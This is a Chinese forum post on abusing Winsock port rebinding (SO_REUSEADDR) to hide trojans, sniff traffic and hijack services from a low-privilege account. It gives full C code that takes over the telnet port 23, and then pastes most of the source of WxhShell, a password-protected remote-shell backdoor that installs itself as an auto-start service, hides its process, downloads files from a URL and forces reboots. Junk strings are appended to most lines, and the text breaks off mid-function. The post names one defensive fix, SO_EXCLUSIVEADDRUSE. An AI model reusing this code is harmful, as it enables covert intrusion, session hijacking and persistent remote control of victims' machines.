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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5R~M@   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P-gjSE|yh  
.BBJhXtrdu  
  saddr.sin_family = AF_INET; qve'Gm)  
N<a %l J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K-#d1+P+  
/KF@Un_Ow  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dhLR#m30T  
J8r8#Zz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =RD>#'sUK  
BA1uo0S `S  
  这意味着什么?意味着可以进行如下的攻击: }EkL[H!  
J( XDwt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jQ3dLctn  
M(K7xx+G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .\ fpjQW  
?{aJ#w   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *nJ,|T  
ou~$XZ7oi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >4Tk#+%Jj  
_v0iH   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E]/2 u3p  
.x,y[/[[)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IJ2'  
{TpbUj0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 76@W:L*J$J  
CZ u=/8?  
  #include BQ Vro;#Jc  
  #include l`N#~<.  
  #include  6d;}mhH  
  #include    J QnaXjW2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cpP}NJb0;%  
  int main()  S9}I  
  { P4_B.5rrJ  
  WORD wVersionRequested; gs3(B/";c  
  DWORD ret; z=U+FHdh/-  
  WSADATA wsaData; hIV]ZYbH  
  BOOL val; 6JZ>&HA  
  SOCKADDR_IN saddr; \L~^c1s3r  
  SOCKADDR_IN scaddr; v9* +@  
  int err; 8CUtY9.  
  SOCKET s; r[}nrH&8  
  SOCKET sc; /kK*%TP  
  int caddsize; ZJZSt% r  
  HANDLE mt; \}=T4w-e  
  DWORD tid;   W@r<4?Oat  
  wVersionRequested = MAKEWORD( 2, 2 ); W g7 eY'FE  
  err = WSAStartup( wVersionRequested, &wsaData ); &(Fm@ksh\  
  if ( err != 0 ) { p@f #fs  
  printf("error!WSAStartup failed!\n"); Vlz\n  
  return -1; Lg!E  
  } 3\j`g  
  saddr.sin_family = AF_INET; 4Xa] yA =  
   nfHjIYid  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bk<Rp84vL  
"0jwCX Cu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q%d%Io\-t  
  saddr.sin_port = htons(23); erUK; +2g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7afG4 (<k  
  { :E6*m\X!3  
  printf("error!socket failed!\n"); mJ<`/p?:  
  return -1; P:.jb!ZU  
  } r/AOgS  
  val = TRUE; ^0|:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d"db`8 ;S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dFw+nGN  
  { .uauSx/#4  
  printf("error!setsockopt failed!\n"); TaYl[I  
  return -1; WJONk_WAc  
  } Bh=t%#y|`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W7uX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5U7,,oyh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :stHc,  
:s_.K'4?a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) : H;S"D  
  { m0ra  
  ret=GetLastError(); }YdC[b$j^  
  printf("error!bind failed!\n"); &2XH.$Q  
  return -1; mm +V*L{x  
  } 5)XUT`;'){  
  listen(s,2); ynM~&]fk#k  
  while(1) &t<g K D  
  { ^uUA41o`eJ  
  caddsize = sizeof(scaddr); }W:Z>vam+  
  //接受连接请求 lG'D/#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5|~g2Zz{;  
  if(sc!=INVALID_SOCKET) WM|G/'q  
  { fTPm Fb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >Z_;ZMu)  
  if(mt==NULL) Sdmz (R  
  { PjBAf'  
  printf("Thread Creat Failed!\n"); DVhBZ!u 9  
  break; t adeG  
  } V~KWy@7  
  } Pv2uZH(  
  CloseHandle(mt); RN)XIf$@_  
  } r&a} U6k(y  
  closesocket(s); {f`Y\_r$@  
  WSACleanup(); }WFI /W'  
  return 0; MF'Z?M  
  }   yOEy3d=*  
  DWORD WINAPI ClientThread(LPVOID lpParam) #N`G2}1J  
  { `mteU"{bx  
  SOCKET ss = (SOCKET)lpParam; +ho=0 >  
  SOCKET sc; Mo N/?VA  
  unsigned char buf[4096]; k;cX,*DIn  
  SOCKADDR_IN saddr; 2#5Q~  
  long num; _J,rql@nG<  
  DWORD val; .qohHJ&  
  DWORD ret; na $MR3@e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cSYCMQ1ro  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2_u+&7  
  saddr.sin_family = AF_INET; Z ;rM@x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %XukiA+  
  saddr.sin_port = htons(23); }(u:K}8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PRiE2Di2S  
  { kZ@UQ{>`  
  printf("error!socket failed!\n"); ${z#{c1  
  return -1; MMKN^a"GA  
  } sjLMM_'  
  val = 100; OW};i|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) meV Z_f/  
  { <B|b'XVH2  
  ret = GetLastError(); b`+yNf  
  return -1; PQl A(v+S  
  } k%~;mu"4}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Bq)dqLwk  
  { 4Us,DS_/  
  ret = GetLastError(); [n/c7Pe  
  return -1; / S' +  
  } :l]qTCmY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n.9k5r@  
  { g`'!Vgd?M[  
  printf("error!socket connect failed!\n"); W"@'}y  
  closesocket(sc); ~fD\=- S1  
  closesocket(ss); %,vq@..^  
  return -1; zdPJ>PNU  
  } F5:xrcyC  
  while(1) Lb Jf5xdi  
  { 2Cy,#X%j>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e)?}2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +$L}B-F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m,kYE9 {  
  num = recv(ss,buf,4096,0); p+?`ru  
  if(num>0) Dom]w.W5  
  send(sc,buf,num,0); ,\ 1X\  
  else if(num==0) KNN{2thy `  
  break; I$sXbM;z=  
  num = recv(sc,buf,4096,0); 0/] h"5H3  
  if(num>0) D`G;C  
  send(ss,buf,num,0); )=gU~UV  
  else if(num==0) +p>h` fc  
  break; BhAT@%  
  } 2 ^"j]g>mj  
  closesocket(ss); H0OO +MCe  
  closesocket(sc); 1ED7 .#g  
  return 0 ; IfB .2e`  
  } w+ ')wyB  
hC"'cUrcN  
bR~Xog  
========================================================== F;`c0ja]  
HFjSM~  
下边附上一个代码,,WXhSHELL 7=yM40  
@0EY5{&  
========================================================== 2dHO!A$RF  
H~JgZ pw  
#include "stdafx.h" {Lv"wec*x  
:](#W@ r  
#include <stdio.h> h`9 & :zr  
#include <string.h> :!t4.ko  
#include <windows.h> i^:#*Q-co  
#include <winsock2.h> a8)2I~j  
#include <winsvc.h> c oZK  
#include <urlmon.h> ,aezMbg  
Q}\\0ajS)  
#pragma comment (lib, "Ws2_32.lib") Zbr e5&aU  
#pragma comment (lib, "urlmon.lib")  whw+  
m.ka%h$  
#define MAX_USER   100 // 最大客户端连接数 Q'=7#_  
#define BUF_SOCK   200 // sock buffer gp$]0~[tO  
#define KEY_BUFF   255 // 输入 buffer 1(T2:N(M-A  
*[ 0,QEy  
#define REBOOT     0   // 重启 p9G+la~;VM  
#define SHUTDOWN   1   // 关机 3 []ltN_  
Ii}{{1N6  
#define DEF_PORT   5000 // 监听端口 go=xx.WJ  
yR{rje*  
#define REG_LEN     16   // 注册表键长度 ul_E{v  
#define SVC_LEN     80   // NT服务名长度 *"_W1}^  
pLF,rOb  
// 从dll定义API $FT6c@&y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _\IA[-C+O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sd+_NtH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %e25Z .Se$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E83$(6z  
g*FHZM*N9  
// wxhshell配置信息 E|-5=!]fX  
struct WSCFG { ~eP~c"L  
  int ws_port;         // 监听端口 JP"#9f  
  char ws_passstr[REG_LEN]; // 口令 #"r_ 3  
  int ws_autoins;       // 安装标记, 1=yes 0=no HhCFAq"j  
  char ws_regname[REG_LEN]; // 注册表键名 KY< $+/B!  
  char ws_svcname[REG_LEN]; // 服务名 Q~f]?a`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @b 17jmq{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D,p 2MBr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1jKj' 7/K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {G3Ok++hc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r@i)Sluf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0#Us *:[6  
*uK!w(;2  
}; i4>M  
WN|_IJR~  
// default Wxhshell configuration WRbdv{ 1E  
struct WSCFG wscfg={DEF_PORT, .%J<zqk-  
    "xuhuanlingzhe", v0\M$@N[  
    1, E*T6kp^b  
    "Wxhshell", DsxNg  
    "Wxhshell", |*ZM{$  
            "WxhShell Service", v0&DD&mp  
    "Wrsky Windows CmdShell Service", :0%[u(  
    "Please Input Your Password: ", N@Ap|`Ei  
  1, T:%0i8p  
  "http://www.wrsky.com/wxhshell.exe", D` cy.},L  
  "Wxhshell.exe" {%('|(57  
    }; 8f~*T  
@Kt!uKrI  
// 消息定义模块 tr0kTW$Ad  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =C(BZ+-^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r&v!2A]:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <x<qO=lq  
char *msg_ws_ext="\n\rExit."; J<"Z6 '0v  
char *msg_ws_end="\n\rQuit."; &a\w+  
char *msg_ws_boot="\n\rReboot..."; &'/PEOu&}G  
char *msg_ws_poff="\n\rShutdown..."; 3zfiegY@wm  
char *msg_ws_down="\n\rSave to "; ~3Qa-s;g  
*b{Hj'HaH  
char *msg_ws_err="\n\rErr!"; /'VuMMJ2  
char *msg_ws_ok="\n\rOK!"; 8(NS;?  
=kq<J-:#R  
char ExeFile[MAX_PATH]; D=D.s)ns*  
int nUser = 0; $@^\zg1n  
HANDLE handles[MAX_USER]; H%=;pD>o  
int OsIsNt; 2XUIC^<@s  
\(^]R,~*!b  
SERVICE_STATUS       serviceStatus; VJ&-Z |  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9.~ _swkv  
]CU)#X<J  
// 函数声明 96!2 @c{  
int Install(void); XF3lS#pt  
int Uninstall(void); tycVcr \(  
int DownloadFile(char *sURL, SOCKET wsh); 1 Cz}|#U  
int Boot(int flag); eUu<q/FUMj  
void HideProc(void); ~(c<M>Q8  
int GetOsVer(void); :SMf (E 5  
int Wxhshell(SOCKET wsl); 1z,P"?Q  
void TalkWithClient(void *cs); Um-Xb'R*]V  
int CmdShell(SOCKET sock); x>K,{{B)X  
int StartFromService(void); QDK }e:4q  
int StartWxhshell(LPSTR lpCmdLine); 6PWw^Cd  
P?8$VAkj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D}ZPgt#   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !q/Q2N(  
BdvpG  
// 数据结构和表定义 Zl!  
SERVICE_TABLE_ENTRY DispatchTable[] = #QOb[9(Tu(  
{ kyYU 1gfh  
{wscfg.ws_svcname, NTServiceMain}, ]$UTMuO Ql  
{NULL, NULL} ??hKsjNAm0  
}; I&1.}{G>F  
i(# Fjp  
// 自我安装 hf)R PG&  
int Install(void) N/2WUp  
{ CAA 3-"Cwi  
  char svExeFile[MAX_PATH]; -0CL#RzKR  
  HKEY key; 7oL:C  
  strcpy(svExeFile,ExeFile); (o\D=!a  
1]8Hpd  
// 如果是win9x系统,修改注册表设为自启动 vON7~KA  
if(!OsIsNt) { #~|esr/wf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mac:E__G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `09[25?  
  RegCloseKey(key); eXLdb-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xo-}t5w6t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "6%qi qt  
  RegCloseKey(key); =zp{ ^mC  
  return 0; "x:-#2+h  
    } oq>jCOVh  
  } eq2L V=d{m  
} .o<9[d"  
else { p[!9objU  
4q@[k: '  
// 如果是NT以上系统,安装为系统服务 9(a*0H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q"LlBp>t|#  
if (schSCManager!=0) _$}@hD*R~  
{ 0@&;JMh6<  
  SC_HANDLE schService = CreateService ^d9o \  
  ( ^@'zQa  
  schSCManager, 8-O: e  
  wscfg.ws_svcname, *TxR2pC}  
  wscfg.ws_svcdisp, 0J5$ Yw1'F  
  SERVICE_ALL_ACCESS, 8l?@ o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PIsXX#`7;  
  SERVICE_AUTO_START, 4!M0)Nix  
  SERVICE_ERROR_NORMAL, `RqV\ 6G+  
  svExeFile, Kt"4<'  
  NULL, Us>n`Lj@  
  NULL, z`dnS]q9  
  NULL, r6:nYyF$)v  
  NULL, W3MH8z   
  NULL V<n#%!M5gV  
  ); JJ_KfnH  
  if (schService!=0) gp{Z]{io  
  { gi? wf  
  CloseServiceHandle(schService); |Y+[_D}  
  CloseServiceHandle(schSCManager); [Fd[(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *unJd"<*&@  
  strcat(svExeFile,wscfg.ws_svcname); _z"\3hZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z= pvoTY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PB{5C*Y7^k  
  RegCloseKey(key); $yFR{_]  
  return 0; > 3l3  
    } K}LF ${bS  
  } . Eb=KG  
  CloseServiceHandle(schSCManager); cgQ2Wo7tCq  
} V4gvKWc  
} m O0#xY_z  
* ^\u%Ir"  
return 1; Vgj[m4l  
} 1!ijRr  
.m%ygoO  
// 自我卸载 TfNm0=|  
int Uninstall(void) H"V)dEm  
{ Aacj?   
  HKEY key; A6Wtzt2i  
4?x$O{D5?{  
if(!OsIsNt) { &y2DI"Ff  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x Sv@K5"8!  
  RegDeleteValue(key,wscfg.ws_regname); Hn?v  /3  
  RegCloseKey(key); xl@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &!8u4*K5j  
  RegDeleteValue(key,wscfg.ws_regname); <QK2Wc_}-"  
  RegCloseKey(key); 4e|(= W`  
  return 0; }M(XHw  
  } yjChnp Cc  
} pH?"@  
} m8v=pab e  
else { :\#/T,K"  
)-LS n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZV:0:k.x  
if (schSCManager!=0) g\?7M1~  
{ pH.&OW%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I}/-zyx>=  
  if (schService!=0) Zu^J X/um  
  { EMS$?"K  
  if(DeleteService(schService)!=0) { Y &*nj`n  
  CloseServiceHandle(schService); kc"SUiy/  
  CloseServiceHandle(schSCManager); onUF@3V  
  return 0; ZOHGGO]1M  
  } ?OWJUmQ  
  CloseServiceHandle(schService); TSP#.QY  
  } |?uUw$oh  
  CloseServiceHandle(schSCManager); X>rv{@KbL  
} K1fnHpK  
} -Wl79lE  
KrD?Z2x  
return 1; \;Q:a /ur9  
} #mcGT\tQ  
q6N6QI8/  
// 从指定url下载文件 'Y-Y By :  
int DownloadFile(char *sURL, SOCKET wsh) 2NqO,B|R  
{ p GSS   
  HRESULT hr; B#x.4~YX  
char seps[]= "/"; ;kF+V*  
char *token; ~YrO>H` B  
char *file; ' sTMUPg`  
char myURL[MAX_PATH]; J]4Uh_>)  
char myFILE[MAX_PATH]; B3&`/{u  
JXF@b-c  
strcpy(myURL,sURL); Q>>II|~;J  
  token=strtok(myURL,seps); l=t$ XWh!  
  while(token!=NULL) q{oppali  
  { \MFjb IL  
    file=token; 1mz72K  
  token=strtok(NULL,seps); By}>h6`[  
  } BjCg!6`XF  
<bgFc[Z  
GetCurrentDirectory(MAX_PATH,myFILE); 6 VuMx7W1  
strcat(myFILE, "\\");  $"x~p1P  
strcat(myFILE, file); =!|= Y@  
  send(wsh,myFILE,strlen(myFILE),0); G>c:+`KS  
send(wsh,"...",3,0); ,hXhcfFl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ln5g"g8gb%  
  if(hr==S_OK) #x5?RHX56  
return 0; 5KDN8pJN  
else "\M^jO  
return 1; S -KHot ?  
>-Q=o,cl%3  
} A"~4|`W  
{Zy)p%j8  
// 系统电源模块 IH~[/qNk  
int Boot(int flag) 'nh^'i&0.  
{ &>%9JXU  
  HANDLE hToken; R3%&\<a)9  
  TOKEN_PRIVILEGES tkp; _V-pr#lP1  
DS1_hbk  
  if(OsIsNt) { ;B !u=_'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YA%0{Tdxz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Vi_6O;  
    tkp.PrivilegeCount = 1; K';x2ffj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :f5"w+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [}t^+^/  
if(flag==REBOOT) { mR6hnKa_53  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]<IK0  
  return 0; V`XtGTx  
} +LsACSB  
else { JE.s?k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |(\T;~7'  
  return 0; @fG 'X  
} rW B/#m  
  } Dk`(Wgk2  
  else { r:Rk!z*  
if(flag==REBOOT) { }:a:E~5y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2h5L#\H"  
  return 0; Doc_rQYku  
} v)J(@>CZ[  
else { \t^h|<`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M|xs>+r*  
  return 0; 2Bg0 M  
} Y ]6kA5  
} `PApmS~} .  
Vmf !0-  
return 1; ]ovb!X_  
} hO] vy>i;  
s'Wu \r'  
// win9x进程隐藏模块 (N :vDq'  
void HideProc(void) .DG`~Fpk  
{ UY$Lqe~  
7@uhw">mX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @Xg5 E  
  if ( hKernel != NULL ) o{?Rz3z  
  { 4RoE>m1[G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @UCr`>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;fGh]i  
    FreeLibrary(hKernel); '$\O*e'  
  } Vx*O^cM  
WYXh1_nyk  
return; '| rhm  
} ztb?4f q6)  
^'ac |+  
// 获取操作系统版本 e'0BP,\f_}  
int GetOsVer(void) Uon^z?0A  
{ ?0J&U4  
  OSVERSIONINFO winfo; c$#7Kp4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  -#<AbT  
  GetVersionEx(&winfo); Cu&y',ee~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zVyMmw\  
  return 1; Q.Xs%{B  
  else LZH~VkK@m}  
  return 0; {q1u[T&r  
} ^ R7|x+  
^9fY %98  
// 客户端句柄模块 Vc*"Q8aZ~  
int Wxhshell(SOCKET wsl) -fCR^`UOS  
{ U~1)a(Yu;  
  SOCKET wsh; ) o`ep{<t  
  struct sockaddr_in client; g`\5!R1  
  DWORD myID; `b?o%5V2x  
R;3n L[{U  
  while(nUser<MAX_USER) ^bG91"0A  
{ !@3"vd{^  
  int nSize=sizeof(client); _`.Wib+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); My<.^~  
  if(wsh==INVALID_SOCKET) return 1; @ q:S]YB   
'B yB1NL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1=z6m7@'-  
if(handles[nUser]==0) 4U>g0  
  closesocket(wsh); ^bk:g}o  
else Fv$oXg/  
  nUser++; +*L<"@  
  } 7 F> a&r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Cm%|hk>fQ  
,4--3 MU  
  return 0; GW,RE\Q:  
} <\`qRz0/  
{L/hhKT  
// 关闭 socket F_-}GN%  
void CloseIt(SOCKET wsh) Xb2.t^ ]f  
{ 7.FD16  
closesocket(wsh); _?v&\j  
nUser--; 7&&3@96<*#  
ExitThread(0); tE WolO[\  
} 7A"v:e  
,s`4k?y  
// 客户端请求句柄 4@r76v}{  
void TalkWithClient(void *cs) G3dA`3  
{ 4t,f$zk  
_qa9wK/  
  SOCKET wsh=(SOCKET)cs; |'qvq/#^  
  char pwd[SVC_LEN]; /(8"9Sfm  
  char cmd[KEY_BUFF]; :Lu 9w0>f  
char chr[1]; R4vf  
int i,j; YHzP/&0  
U%)-_ *`z  
  while (nUser < MAX_USER) { (lg~}Jwq  
~@mNR^W-W  
if(wscfg.ws_passstr) { 1+ 9!W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]FEDAGu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q8D#kAYw  
  //ZeroMemory(pwd,KEY_BUFF); oy\U\#k   
      i=0; unc8WXW  
  while(i<SVC_LEN) { H5Bh?mw2  
46U*70  
  // 设置超时 RQYD#4|  
  fd_set FdRead; o1R:1!"2  
  struct timeval TimeOut; c2Wp 8l  
  FD_ZERO(&FdRead); MSE0z !t  
  FD_SET(wsh,&FdRead); {t!Pv 2y<  
  TimeOut.tv_sec=8; {Y|?~ha#  
  TimeOut.tv_usec=0; ,!dVhG#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3b[.s9Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9#E)H?`g  
|[!7^tU*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V3(8?Fz.  
  pwd=chr[0]; Ug  )eyu  
  if(chr[0]==0xd || chr[0]==0xa) { q.VZP  
  pwd=0; gH yJ~  
  break; "0LSy x  
  } ?Ta<.j  
  i++; x Nb7VUV7  
    } qSt\ 6~  
-ImV Xy]?  
  // 如果是非法用户,关闭 socket a66Ns7Rb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (_]D\g~  
} f4Ob4ah!(  
%UlgG 1?A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 35J VF*z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CbwQbJ/v7  
_+,>NJ  
while(1) { i0F6eqe=J  
Qs ysy  
  ZeroMemory(cmd,KEY_BUFF); j'`-3<k  
KW!+Ws  
      // 自动支持客户端 telnet标准   gx8i|]  
  j=0; Tvt(nWn(H1  
  while(j<KEY_BUFF) { P9W?sPnC5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t;`ULp~&  
  cmd[j]=chr[0]; /ke[nr  
  if(chr[0]==0xa || chr[0]==0xd) { Z7>Nd$E{  
  cmd[j]=0; E24j(>   
  break; i.{.koH<  
  } Rn)fwGC  
  j++; OIDP#K  
    } rl,i,1t  
86);0EBX  
  // 下载文件 | {Q}:_/q  
  if(strstr(cmd,"http://")) { 3YG%YhevO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "RTv[n!  
  if(DownloadFile(cmd,wsh)) q07H{{h/B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i*r ag0Mw  
  else Z*Rg ik  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N:;z~`  
  } .03Rp5+v  
  else { tUt_Q;%yC  
WIabQ_fX  
    switch(cmd[0]) { Tp|>(~;ai  
  Y]7 6y>|e  
  // 帮助 bFSs{\zE  
  case '?': { 4'TssRot@h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lp(i&A  
    break; I4KE@H"%7  
  } aW}d=y[  
  // 安装 @_wJN Qo`  
  case 'i': { R3>c\mA  
    if(Install()) E 02Y,C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [^W +^3V  
    else G[6i\Et   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Ck3L6J#  
    break; KcUR /o5K  
    } X]o"4#CQIX  
  // 卸载 a?xZsR  
  case 'r': { PEMBh?)g  
    if(Uninstall()) n5z|@I`S_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M2\c0^R  
    else I E{:{b\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \}~71y}  
    break; Wt=\hixj-  
    } |AT`(71  
  // 显示 wxhshell 所在路径 ;/t~MH  
  case 'p': { 0Y:)$h2?  
    char svExeFile[MAX_PATH]; $ w+.-Tr  
    strcpy(svExeFile,"\n\r"); =sAU5Ag68  
      strcat(svExeFile,ExeFile); GS7'pTsYH  
        send(wsh,svExeFile,strlen(svExeFile),0); :5BCW68le  
    break; =k>fW7e  
    } T$<yl#FY  
  // 重启 3.1%L"r[)  
  case 'b': { ) 7X$um  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RB6Q>3g  
    if(Boot(REBOOT)) [%O f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pRzL}-[/v  
    else { :K5?&kT  
    closesocket(wsh); Ud7Z7?Ym  
    ExitThread(0); ]s!id[j  
    } 9 4^b"hU  
